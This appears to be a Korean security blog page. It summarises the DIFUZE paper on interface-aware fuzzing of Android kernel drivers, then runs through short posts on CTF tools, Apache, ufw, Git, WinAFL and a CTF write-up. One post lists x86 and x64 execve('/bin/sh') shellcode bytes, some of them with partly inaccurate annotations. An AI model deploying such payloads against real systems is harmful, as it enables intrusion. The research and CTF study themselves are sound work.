현재 플래그쉽(flagship) 모델인 구글, 삼성, 소니, HTC를 포함하여 7개의 안드로이드 기기에서 시스템을 평가했다. 각 장치에 대해 먼저 사용 가능한 최신 버전으로 업데이트한 다음 장치를 루팅했다. On-device 구성 요소는 앱 레벨 권한으로 액세스 할 수 있는 드라이버뿐만 아니라 모든 드라이버를 퍼징할 수 있도록 루트에서 실행된다. 그러나 9절에서 논의된 바와 같이, 이 구성 요소는 표준 응용 프로그램의 형태를 취할 수도 있지만, 장치 파일(및 ioctl 핸들러)에 대한 액세스 가능성이 낮아진다. 이 설정에서는 커널을 다시 컴파일하고 컴파일된 커널을 플래시 해야 하므로 코드 커버리지 피드백이나 KASAN을 사용할 수 없다. 위에서 언급한 DIFUZE 구성은 모두 각 안드로이드 기기에서 5시간 동안 실행된다. 단일 드라이버에서 충돌이 자주 발생하는 경우 버그가 있는 ioctl 핸들러를 블랙리스트에 추가하여 스마트폰이 반복적으로 충돌하지 않고 재부팅이 실험에 방해가 되지 않도록 한다.

8.3 결과

모든 충돌 로그와 시스템 호출의 충돌 시퀀스를 수집하여 수동으로 분류하여 적은 수의 중복을 필터링했다. DIFUZE는 모두 7개의 안드로이드 기기에서 36개의 고유한 버그를 찾을 수 있었다. 발견된 버그에 대한 개요는 표5에 나와있다.

syzkaller가 Galaxy S6에서 작동하도록 할 수 없었고 DIFUZE(m)은 버그를 유발할 수 없었기 때문에 버그가 전혀없는 유일한 안드로이드 장치가 되었다. 다른 모든 기기에서 Xperia XA의 두 가지 취약점(Honor 8의 경우)에서 14가지 취약점을 찾아냈다.

syzkaller의 기본 구성(인터페이스 정보 없음)이 테스트에서 버그를 찾지 못했다. 올바른 드라이브 경로(syzkaller + path)를 제공하면 모든 장치에서 세번의 충돌만 발생했다. 이는 맹목적으로 퍼징하는 커널 드라이브가 그다지 효과적이지 않다는 것을 시사하며, 이는 이러한 장치를 구매자한테 배송전에 공급 업체가 테스트를 수행하기 때문일 수 있다.

추출된 ioctl 수의 형태로 부분 인터페이스 정보를 추가하면 DIFUZE(i)는 22개의 버그를 찾을 수 있다. 이 자체로는 인상적이지만, 인터페이스에 남아 있는 인터페이스 정보(ioctl 인수 구조체 정의)를 추가하면 발견된 버그 수가 54.5%나 증가해 총 34개 버그로 늘어났다. 이 결과는 인터페이스 인식 퍼징의 효과를 보여주며, 복구된 ioctl 명령 식별자와 ioctl 핸들러 분석에 대한 구조 정보의 중요성을 보여준다.

실험에서 특히 흥미로운 결과는 DIFUZE(m)이 DIFUZE보다 버그를 4개만 발견한 것이다. Syzkaller는 수많은 퍼징 전략과 최적화 기능이 내장된 새로운 도구인 반면, MangoFuzz는 6절에 설명된 것 외에 최적화가 없는 간단한 퍼징 프로토타입이다. 이것이 정확한 인터페이스 정보를 통한 퍼징하는 것이 매우 강력하다는 것을 보여준다.

각 충돌을 간단히 분류하고 장치 충돌 원인을 신속하게 분류했다. 이 결과는 [표 4]에 나와 있다. 충돌 자체가 양성으로 보이는 경우에는 종종 심각한 버그이다. 예를 들어, 악의적인 사용자가 보다 강력한 원시성을 얻기 위해 조심스럽게 조작할 수 있는 더 심각한 기본 버그에 의해 유발될 수 있다. 여기서 더해, 발견된 흥미로운 버그 중 하나는 우리가 직면한 대부분의 주장들을 우회할 수 있다는 것이다. 이러한 점검을 우회할 수 있게 됨으로써 많은 공격을 받을 수 있는 시나리오가 현실화될 수 있다. 결과의 심각성을 입증하기 위해 임의의 쓰기 취약점 중 하나를 이용하여 커널에서 코드를 실행하고 앱 레벨 권한에서 루트로 에스컬레이션했다.

현재 취약점을 공급 업체에 책임있게 공개하기 위해 노력하고 있다. 그렇게 하는 동안, 실험 과정에서 4개의 버그가 패치된 것을 발견했다. 아는 한 36개의 버그 중 나머지 32개는 제로데이이다.

다음 몇 개의 하위세션에서는 실험 중에 발견된 2개의 버그에 대한 연구 사례를 제시하여 버그들의 영향과 검출에서 인터페이스 정보의 필요성을 증명할 것이다.

Crasg Type	Count
Arbitrary read	4
Arbitrary write	4
Assert Failure	6
Buffer Overflow	2
Null dereference	9
Out of bounds index	5
Uncategorized	5
Writing to non-volatile memory	1

[표 4] DIFUZE가 발견한 충돌 유형

8.4 연구 사례 1 : Honor 8 설계 이슈

가장 흥미로운 버그 중 하나는 (커널 버그는 일반적인 경우처럼) OS 충돌을 통해서가 아니라 대상 호스트로부터 매우 이상한 동작을 발견되었다. 화웨이 Honor 8에서 여러 번의 퍼징 라운드를 마친 후, 장치의 일변 번호가 변경되었다는 것을 발견했다([목록 6] 참조). 장치의 일련 번호는 (높은 EL3 권한 수준에서 실행되는) 부트 로더만 변경할 수 있는 읽기 전송 속성이어야 한다. 그러나 이 발생은 커널 드라이버를 이용하여 안드로이드의 사용자 공간 애플리케이션(최소 권한 레벨 EL0에서 실행)에서 실제로 일련 번호를 변경할 수 있음을 보여준다. 따라서 이것은 설계 수준의 취약점을 나타낸다.

이 버그는 드라이버 nve를 퍼지하면서 발견되었다. Honor 8은 flash, nvme에 파티션이 있어 장치 구성 정보를 저장한다. 이러한 구성 옵션 중 일부는 권한이 없으며 안드로이드에 의해 수정할 수 있다. 여기에는 기기 잠금 해체가 활성화되는지 여부와 램 덤프가 허용 여부도 포함되지만, 특히 보드 식별자 및 일변 번호와 같은 속성은 제외되며, 이는 부트 로더만 수정할 수 있어야 한다. 그러나 장치 /dev/nve의 ioctl 핸들러는 이러한 옵션을 읽고 쓸 수 있는 방법을 제공한다. 또한, 구성 옵션 유형을 확인하지 않으며 악의적인 사용자 공간 응용 프로그램은 권한 있는 구성 옵션을 읽거나 쓸 수 있다.

권한 구성 옵션의 대한 수정을 허용하지 않는 검사를 추가하면 이 문제가 해결될 수 있다. 권한 수준 EL1에서 실행 중인 안드로이드 커널이 더 높은 권한으로 실행 중인 부트 로더에 속하는 옵션을 읽거나 쓰는 것이 가능하지 않아야 한다. 물론, 이를 위한 해결책은 특권(privileged) 옵션과 특권이 없는 옵션을 분리하여 서로 다른 특권 코드가 접근할 수 있는 다른 파티션에 저장하는 것이다.

	syzkaller base	syzkaller+path	DIFUZE(i)	DIFUZE(s)	DIFUZE(m)	total unique
Pixel	0	1	2	5	3	5
E9 Plus	0	0	4	6	6	6
M9	0	0	3	3	2	3
P9 Lite	0	0	2	5	5	6
Honor 8	0	0	1	2	2	2
Galaxy S6	-	-	-	-	0	0
Xperia XA	0	2	10	13	12	14
Total	0	3	22	34	30	36

[표 5] 장치 별 퍼징 구성에서 발견된 버그

# before fuzzing 
HWFRD:/ $ getprop ro.serialno 
RNV0216811001641 
# after fuzzing 
HWFRD:/ $ getprop ro.serialno 
^Rï£¡DO>l

[목록 6] nve 드라이버를 퍼징하는 동안 DIFUZE에서 발견된 설계 문제

8.5 연구 사례 2 : qseecom 버그

이번 절에서는 최고 수준의 인터페이스 추출(즉, 유형 복구/복합 구조 인스턴스화)에서만 발견된 버그의 예를 살펴본다. 관련 출처는 아래 제시되어 있으며, 이를 참조할 것이다.

static int qseecom_mdtp_cipher_dip(void __user* argp)
{
    struct qseecom_mdtp_cipher_dip_req req;
    u32 tzbuflenin, tzbuflenout;
    char* tzbufin = NULL, * tzbufout = NULL;
    int ret;
    do {
        ret = copy_from_user(&req, argp, sizeof(req));
        if (ret) {
            pr_err("copy_from_user failed, ret= %d\n",
                ret);
            break;
        }
        ...
            /* Copy the input buffer from
            userspace to kernel space */
            tzbuflenin = PAGE_ALIGN(req.in_buf_size);
        tzbufin = kzalloc(tzbuflenin, GFP_KERNEL);
        if (!tzbufin) {
            pr_err("error allocating in buffer\n");
            ret = -ENOMEM;
            break;
        }

        ret = copy_from_user(tzbufin, req.in_buf,
            req.in_buf_size);
        ...
    } while (0);
        ...
            return ret;
}

long qseecom_ioctl(struct file* file, unsigned cmd,
    unsigned long arg)
{
    int ret = 0;
    void __user* argp = (void __user*) arg;
    switch (cmd) {
        ...
    case QSEECOM_IOCTL_MDTP_CIPHER_DIP_REQ: {
            ...
                ret = qseecom_mdtp_cipher_dip(argp);
            break;
        }
        ...
    }
    return ret;
}

예로 CVE-2017-0612(이것은 실험 과정에서 패치된 4개의 버그 중 하나이다)의 버그는 구글의 대표 안드로이드 스마트폰인 픽셀에서 DIFUZE에 의해 발견되었다. 드라이버의 ioctl 기능은 코드 31행에서 시작하여 ioctl의 일반적인 설계를 따른다. 사용자 공간 응용 프로그램은 cmd 및 arg를 지정한다.

cmd QSECOM_IOCTL_MDTP_CIP_DIP_REQ가 있으면 코드 39행에 qseecom_mdtp_cipher_dip를 입력한다. 이 함수의 코드 9행에서 사용자 데이터가 구조체 Qseecom_mdtp_cipher_dip_req req에 복사된 것을 볼 수 있고, 코드 16번 줄에는 버그가 있다. tzbuflenin은 사용자 제어 값인 req.in_buf_size에 PAGE_ALING을 호출하여 계산한다. 사용자 공간 애플리케이션이 여기에 큰 값을 제공하면 PAGE_ALING이 오버플로우되어 req.in_buf_size보다 작은 값이 되며, 특히 0이 된다. 다음으로 코드 17번 라인에서 계산된 크기를 조정하려고 시도한다. 마지막 코드 24번 라인에서 드라이버는 구조체의 내장된 포인터를 할당된 버퍼에 copy_from_user하려고 한다. 이 copy_from_user는 버퍼 크기가 잘못 계산되었기 때문에 충돌이 발생할 것이다. 그러나 이 출동을 관찰하려면 사용자가 제공한 req.in_messages가 유효한 포인터여야 한다(이러한 copy_from_user는 정상적으로 실패하고 오류를 반환함).

8.6 커버리지 기반 퍼징 보강

커버지리 기반 퍼징(Coverage Guided Fuzzing)은 잘 연구된 기술이며, 좋은 커버리지를 달성하기 위한 효과적인 방법임이 입증되었다. 그러므로, 커버리지 가이드라인을 사용할 수 있다면 인터페이스 인식이 여전히 필요한가?라는 자연스러운 질문이 발생한다. 정답은 그렇다이다. 커버리지 안내 퍼징을 위한 인터페이스 정보를 제공하면 드라이버에 대한 성능이 크게 향상된다.

시연을 위해 x86-64 커널에서 syzkaller를 커버리지 기반 모드로 실행했고, ioctl SCSI_IOCTL_SEND_CORM(단순 인터페이스 포함)과 CDROM_SEND_PACKET(복잡한 인터페이스 포함)는 조합당 4시간 동안 구조 인터페이스 정보를 포함하거나 포함하지 않았다. [표 6]은 이러한 조합의 결과를 보여주며, 여기서 마지막 열은 인터페이스 정보가 제공되었을때 도달한 기본 블록의 증가율을 보여준다. 이는 인터페이스 정보가 여전히 커버리지 유도 퍼지 성능을 크게 향상시킬 것임을 보여준다.

kcomv를 역포팅하고 커널을 다시 플래시해야하기 때문에 이 평가를 상용장치로 확장하는 것은 어렵다. 이를 위해서는 프로젝트의 범위를 벗어난 상당한 엔지니어링 노력이 필요하다.

ioctl cmd ID	Interface type	Basic Blocks covered		Percentage increase
ioctl cmd ID	Interface type	No interface	Interface Aware	Percentage increase
SCSI_SCSI_IOCTL_SEND_COMMAND	Simple Structure	3811	4629	21.46%
CDROM_SEND_PACKET	Complex Structure	3956	5582	41.10%

[표 6] 인터페이스 정보 유무에 따른 커버리지 유도 퍼징 성능

9. 토론

인터페이스 인식 퍼지를 사용하면 DIFUZE가 잠재적으로 유해한 버그를 발견하여 커널 보안을 향상시킬 수 있음을 보여주었다. 그러나, 이러한 접근 방식과 개선 방향에는 아직 약점이 있는데, 이번 절에서 검토하기로 한다.

9.1 약점

퍼징하는 동안 발견한 1가지 문제는 버그가 있는 드라이버가 일찍부터 충돌하여 퍼저가 드라이버의 더 깊은 기능을 탐색하지 못하게 한다는 것이다. 단순히 이전 버그가 자주 발생하기 때문에 맞지 않는 버그가 있을 수 있으며 해당 버그를 칠 때마다 스마트폰이 재부팅된다. 현재의 기술로 유일한 해결책은 특정 명령 식별자 또는 때로는 전체 ioctl 처리기의 퍼징을 중지하고 다른 것으로 이동하는 것이다.

DIFUZE의 또 다른 약점은 인터페이스에서 구조체 사이의 복잡한 관계를 추출할 수 없다는 것이다. 구조체의 한 필드가 다른 필드와 관련되는 것은 드문 일이 아니다. 예를 들어, 길이 필드는 버퍼의 크기를 지정할 수 있다.

9.2 향후 연구

많은 최고의 퍼저에서 발견되는 유용한 퍼징 기법은 런타임 범위를 사용하여 퍼저를 사용하는 것이다. 현재 이 기법은 사용하지 않는다(8.6절에서 보여주듯이, 인터페이스 인식으로 커버리지 유도 기법을 크게 개선할 수 있다). 런타임 커버리지 정보를 사용하려면 커널을 장치에 다시 컴파일하고 플래시해야 하는데, 이는 몇 가지 과제를 제시한다. 첫째, 세분화된 커버리지 정보를 얻기 위해서는 개발 보드가 필요하다. 이것은 비쌀 수도 있고, 많은 경우에 실제 기기에서는 사용할 수 없을 수도 있다. 둘째, 재컴파일한 최신 커널 소스를 항상 찾을 수 있는 것은 아니다. 이는 사소한 커널 업데이트 간에 ioctl 인터페이스가 급격하게 변경될 가능성이 낮고, 대상 호스트의 최신 소프트웨어 버전에서도 실제 실행이 수행될 것이기 때문에 DIFUZE는 허용된다. 그러나 이전 커널을 대상 호스트에 플래시하면 결과적으로 발견된 버그는 이미 쓸모없게 될 수 있다. 마지막으로, 일부 공급 업체는 부트로더를 잠그고 다른 보안 검사를 수행하여 새로운 커널을 쉽게 플래시하지 못하게 한다.

이러한 이유로 코드 커버리지 측정 또른 KASAN(Kernel Address Sanitizer)을 삽입하기 위해 커널을 계측하지 않았다. KASAN 및 커버리지 정보는 DIFUZE의 결과를 더욱 향상시킬 수 있다. KASAN은 메모리 손상을 감지하고 어설션(Assertion) 오류를 발생시킴으로써 버그를 찾는 데 도움을 준다. 단지 손상된 메모리가 다른 기능에서 사용되지 않거나 중요한 데이터가 손상되지 않았기 때문에 장치가 충돌하지 않고 공격 가능한 버그가 트리거될 수 있다. 커버리지 정보는 이전에 무시되었던 드라이버 기능을 트리거하는 입력을 변경하려고 시도하므로 드라이버에 대한 심층 탐색을 가능하게 함으로써 시스템을 개선할 수 있다.

10. 결론

본 논문에서는 리눅스 커널 드라이버와 같은 인터페이스에 민감한 코드에 대한 자동 분석의 효과를 높이기 위해 인터페이스 인식 퍼징을 제안했다. 코드를 퍼징하기 위해 ioctl 인터페이스 사양을 복구하는 일련의 기술을 제공했다. 단일 명령으로 커널 소스 아카이브에서 직접 작동하는 자동화된 파이프라인에서 모든 기술을 구현했다. 기술의 대부분의 드라이버를 위한 인터페이스의 구성요소, 장치 파일 이름, 유효한 명령 식별자, 해당 인수 유형을 복구하는데 효율적이고 효과적이라는 것을 보여준다. 안드로이드 스마트폰의 7개 모델에 대해 여러 가지 다른 DIFUZE 구성을 사용하여 철저한 평가를 수행하여 인터페이스 인식 퍼저의 구현이 효과적이라는 것을 입증하며, 이 중 32개는 이전에 알려지지 않았던 취약점이다.

DIFUZE는 오픈 소스 커뮤니티에서 최신 모바일 기기의 안정성을 보장하는 도구를 제공하고 있다.

부록 A. IOCTL 등록 구조

리눅스 커널 드라이버가 ioctl 핸들러를 등록하는 데 사용할 수 있는 몇 가지 구조가 있다. [목록 7]은 화웨이 P9에서 실행되는 커널의 구조 목록이다.

struct.media_file_operations
struct.video_device
struct.v4l2_file_operations
struct.block_device_operations
struct.tty_operations
struct.posix_clock_operations
struct.security_operations
struct.file_operations
struct.v4l2_subdev_core_ops
struct.snd_pcm_ops
struct.snd_hwdep_ops
struct.snd_info_entry_ops
struct.adf_obj_ops
struct.net_device_ops
struct.kvm_device_ops
struct.ide_disk_ops
struct.ide_ioctl_devset
struct.hdlcdrv_ops
struct.uart_ops
struct.fb_ops
struct.proto_ops
struct.tty_ldisc_ops
struct.watchdog_ops
struct.atmdev_ops
struct.atmphy_ops
struct.atm_ioctl
struct.vfio_device_ops
struct.vfio_iommu_driver_ops
struct.rtc_class_ops
struct.usb_gadget_ops
struct.ppp_channel_ops
struct.cdrom_device_info
struct.cdrom_device_ops

[목록 7] ioctl 핸들러를 등록하는 데 사용할 수 있는 구조체 목록

부록 B. V4L2 드라이버

// v4l2_ioctl_ops initialized with required functions.
static const struct v4l2_ioctl_ops iris_ioctl_ops = {
.vidioc_querycap = iris_vidioc_querycap,
.vidioc_s_tuner = iris_vidioc_s_tuner
}
static const struct v4l2_file_operations iris_fops = {
    // here video_ioctl2, implemented by kernel
    // is the main ioctl handler.
     .unlocked_ioctl = video_ioctl2
};

static struct video_device iris_viddev_template = {
    //initialize file operations.
    .fops = &iris_fops,
    // initialize ioctl operations.
    .ioctl_ops = &iris_ioctl_ops
};

static int __init driver_init() {
    struct iris_device* radio;
    int radio_nr = -1;
    radio = kzalloc(sizeof(struct iris_device), GFP_KERNEL);
    if (!radio) {
        FMDERR(": Could not allocate radio device\n");
        return -ENOMEM;
    }
    // copy the video_device structure.
    memcpy(radio->videodev, &iris_viddev_template,
        sizeof(iris_viddev_template));
    // register the v4l2 device
    video_register_device(radio->videodev, VFL_TYPE_RADIO, radio_nr);
}

[목록 8] v4l2_ioctl_ops 초기화 및 v4l2 장치 등록의 예

vidioc_querycap:2154321408
vidioc_s_tuner:1079268894

[목록 9] <function name>:<command id> 형식의 항목을 포함하는 v4l2-function-mapping 예제

References

https://github.com/ucsb-seclab/difuze

http://swtv.kaist.ac.kr/publications/KSC2019pdf

Python(.pyc) 디컴파일

NetKingJ — Fri, 1 May 2020 00:39:33 +0900

$ pip install uncompyle6

$ uncompyle6 {filename}.pyc

Ubuntu Apache2 구조

NetKingJ — Mon, 13 Apr 2020 20:47:58 +0900

/etc/apache2

: 설정 파일 루트 위치

/etc/apache2/apache2.conf

: 기본 설정 파일

/etc/apache2/conf-available

: 사용가능한 전역(global) 설정 관리

/etc/apache2/conf-enabled

: 사용가능한 전역(global) 설정 중에 사용할 전역(global) 설정을 심볼릭 링크로 추가하여 관리

/etc/apache2/envvars

: apache2.ctl 환경 설정 파일

/etc/apache2/magic

: 파일의 시작값(Magic Number) 데이터베이스

/etc/apache2/mods-available

: 사용가능한 모듈 관리

/etc/apache2/mods-enabled

: 사용가능한 모듈 중에 사용할 모듈을 심볼릭 링크로 추가하여 관리

/etc/apache2/ports.conf

: 서비스 포트 관리

/etc/apache2/sites-available

: 운영할 사이트 설정 파일

/etc/apache2/sites-enabled

: 운영할 사이트 설정 파일을 심볼릭 링크로 추가하여 관리

CTF 풀 때 도움 되는 사이트 정리

NetKingJ — Mon, 13 Apr 2020 15:40:06 +0900

[ 암호 ]

- CyberChef : 다양한 인코딩 지원

- Cryptii : 다양한 인코딩 지원

- codebeautify : 다양한 인코딩 지원

- quipqiup : 치환암호 복호화

- md5decrypt : md5 복호화

- Integer factorization calculator : 소인수분해 계산

- Brainfuck : 예) "[>+++++++++" 암복호화

[ 포렌식 ]

- Jeffrey's Image Metadata Viewer : Exif

[ 바이너리 ]

- Online x86 / x64 Assembler and Disassembler

- OnlineGDB

[ 웹 ]

- Online JavaScript Beautifier : 자바스크립트 정렬

- URL ParserURL Parser / Query String Splitter

Linux Shell Code

NetKingJ — Mon, 13 Apr 2020 15:33:36 +0900

32bit

(1) 25byte

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

\x31\xc0	xor	eax,eax	eax 레지스터를 0으로 초기화
\x50	push	eax	스택에 0을 푸시
\x68\x2f\x2f\x73\x68	push	0x68732f2f	스택에 "//sh" 문자열의 주소를 푸시
\x68\x2f\x62\x69\x6e	push	0x6e69622f	스택에 "/bin" 문자열의 주소를 푸시
\x89\xe3	mov	ebx,esp	ebx 레지스터에 스택의 주소를 저장
\x50	push	eax	스택에 0을 푸시
\x53	push	ebx	스택에 "/bin/sh" 문자열의 주소를 푸시
\x89\xe1	mov	ecx,esp	ecx 레지스터에 스택의 주소를 저장
\x89\xc2	mov	edx,eax	edx 레지스터에 0을 저장
\xb0\x0b	mov	al,0xb	시스템 콜 번호 11 (execve)을 al 레지스터에 저장
\xcd\x80	int	0x80	시스템 콜 실행

(2) 26byte

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

\x31\xc0	xor	eax,eax	eax 레지스터를 0으로 초기화
\x50	push	eax	스택에 0을 푸시
\x68\x6e\x2f\x73\x68	push	0x68732f6e	스택에 "//sh" 문자열의 주소를 푸시
\x68\x2f\x2f\x62\x69	push	0x69622f2f	스택에 "/bin" 문자열의 주소를 푸시
\x89\xe3	mov	ebx,esp	ebx 레지스터에 스택의 주소를 저장
\x31\xc9	xor	ecx,ecx	ecx 레지스터를 0으로 초기화
\x89\xc2	xor	edx,edx	edx 레지스터를 0으로 초기화
\xb0\x08	mov	al,0x8	시스템 콜 번호 8 (execve)을 al 레지스터에 저장
\x40\x40\x40	inc	eax	인자로 전달되는 문자열 포인터 배열의 길이를 3으로 설정
\xcd\x80	int	0x80	시스템 콜 실행

64bit

(1) 27byte

\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05

(2) 25byte

\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05

(3) 24byte

\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05

GitHub 사용법

NetKingJ — Mon, 13 Apr 2020 15:25:27 +0900

가입

- 사이트 : https://github.com/

github 사이트

Username, Email, Password를 기입하고 Sign up하면 된다.

설치

- 사이트 : https://git-scm.com/

Git

git-scm.com

git 사이트

git 사이트에서 자신이 맞는 OS 버전을 설치하면 됩니다.

설치가 완료되었다면 cmd 창을 열어 "git --version" 치면 git 버전이 나온다면 정상적으로 설치가 완료되었습니다.

기본 설정

1. 자신의 이름과 이메일 주소 설정

- git configgit config --global user.name "NetKingJ"

- git config --global user.email "hopejo96@daum.net"

2. 설정값 확인

- git config -l

Git Overview

Repository 생성

$ git clone {Repository 주소}

받아온 Repository 폴더에서 코드 작업 후 아래와 같이 Github에 동기화를 진행한다.

$ git add --all

$ git commit -m '{메세지}'

$ git push

※ PC와 Github에 저장된 Repository 내용이 일치하지 않을 경우 git pull 명령으로 동기화할 수 있다.

Repository 제거

Github Repository에서 Setting → Delete this repository → {자신의 이름과 Repository 명} 입력

Git 명령어 요약

iptime 3000U Network Drive Install

NetKingJ — Tue, 7 Apr 2020 18:04:50 +0900

$ git clone https://github.com/cilynx/rtl88x2BU_WiFi_linux_v5.3.1_27678.20180430_COEX20180427-5959

$ sudo dkms add ./rtl88x2BU_WiFi_linux_v5.3.1_27678.20180430_COEX20180427-5959

$ sudo dkms install -m rtl88x2bu -v 5.3.1

$ sudo modprobe 88x2bu

[ Fast Install ]

$ git clone https://github.com/cilynx/rtl88x2BU_WiFi_linux_v5.3.1_27678.20180430_COEX20180427-5959; sudo dkms add ./rtl88x2BU_WiFi_linux_v5.3.1_27678.20180430_COEX20180427-5959; sudo dkms install -m rtl88x2bu -v 5.3.1; sudo modprobe 88x2bu;

Ubuntu Firewall Setup

NetKingJ — Sun, 22 Mar 2020 04:27:03 +0900

- Turn on/off Firewall

$ sudo ufw {enable, disable}

- Ports and Protocols Open/Blocking

$ sudo ufw {allow, deny} {port}/{protocol}

ex. sudo ufw allow 80/tcp

ex. sudo ufw deny 80/tcp

- Remove Rule

$ sudo ufw delete {allow, deny} {port}/{protocol}

ex. sudo ufw delete allow 8080/tcp

ex. sudo ufw delete deny 8888/tcp

- IP Open/Blocking

$ sudo ufw {allow, deny} from {ip}

ex. sudo ufw allow from 10.0.0.1

ex. sudo ufw deny from 10.0.0.4

ex. sudo ufw delete deny from 10.0.0.4

- View Status

$ sudo ufw status

HTTP → HTTPS Redirect

NetKingJ — Sun, 22 Mar 2020 04:08:39 +0900

$ sudo vim /etc/apache2/sites-enabled/000-default.conf

[ 추가 ]

ServerName myserver.xyz

ServerAlias www.myserver.xyz

Redirect / http://myserver.xyz

RewriteEngine on
RewriteCond %{HTTPS} off
RewriteRule .* https://%{SERVER_NAME}%{REQUEST_URI} [R=301,L]

[ 참고 ]

http(80), https(443) 포트 열린 상태와 방화벽 활성화

Siri로 간지나게 컴퓨터 켜는 방법

NetKingJ — Sun, 8 Mar 2020 23:57:55 +0900

애플 시리를 이용하여 원격으로 컴퓨터 켜는 방법으로 간지나게 켜보자.

(빅스비로도 가능하다면 댓글로 알려주세요 )

- 준비

타겟 PC (Wake-On-Lan 이 가능한 PC)
Python 스크립트 실행이 가능한 운영체제
시리가 가능한 애플 기기

- 세팅

git clone https://github.com/remcohaszing/pywakeonlan.git

해당 git을 python 스크립트 실행이 가능한 운영체제에 다운받아 준다. (타겟 PC X)
wakeonlan.py 이것만 있어도 됨.

단축어 앱 실행

왼쪽 상단에 스크립트하기 클릭 후 셸에서 SSH를 통한 스크립트 실행 추가

명령어 : 시리명령어
호스트 : 서버 IP
포트 : SSH 포트
사용자 : SSH 아이디
암호 : SSH 암호
스크립트 : python wakeonlan.py -i {타겟 IP} {타겟 MAC}

Profile

NetKingJ — Thu, 5 Mar 2020 23:23:35 +0900

Notion 이동

[Disk] 이 편리한 안드로이드…

NetKingJ — Sat, 29 Feb 2020 15:13:00 +0900

APK 파일 속에 플래그가 있다고 하니 Bytecode Viewer 을 이용해서 열어보면

다음과 같이 Base64 로 인코딩된 수상한 메세지가 존재하는데 이를 디코딩하면 플래그를 찾을 수 있다.

Base64 = ZmxhZ193YWl0X3dhc250X2l0X2RhbHZpawo=

FLAG : flag_wait_wasnt_it_dalvik

BinDiff 바이너리 비교 도구

NetKingJ — Mon, 20 Jan 2020 13:25:16 +0900

본 툴은 구글이 제작한 것으로 IDA로 분석한 2개의 데이터(.ida)를 비교해준다. (IDA 플러그인)

설치

사이트 : https://www.zynamics.com/software.html
다운로드 (윈도우용) : bindiff5.msi

참고 : https://security.googleblog.com/2016/03/bindiff-now-available-for-free.html

WinAFL Build (Windows 10, Visual Studio 2019)

NetKingJ — Sat, 18 Jan 2020 21:15:31 +0900

환경

OS : Windows 10 PRO
SW : Visual Studio 2019

설치

cmake : https://cmake.org/download/
WinAFL : https://github.com/ivanfratric/winafl
DynamoRio : https://github.com/DynamoRIO/dynamorio/wiki/Downloads
Visual Studio : 버전 2013 이상

빌드

CMD에서 작업하지 않고 "x64_x86 Cross Tools Command Prompt for VS 2019" 에서 진행할 것
WinAFL 폴더에서 build64 폴더 생성 후 이동

$ cmake --help를 통해 자신에게 맞는 Visual Studio 버전에 맞게 명령어를 찾으면 된다.

$ cmake -G"Visual Studio 16 2019" .. -DDynamoRIO_DIR=C:\Users\NetKingJ\Desktop\winafl\DynamoRIO\cmake -A x64
$ cmake --build . --config Release
빌드 완료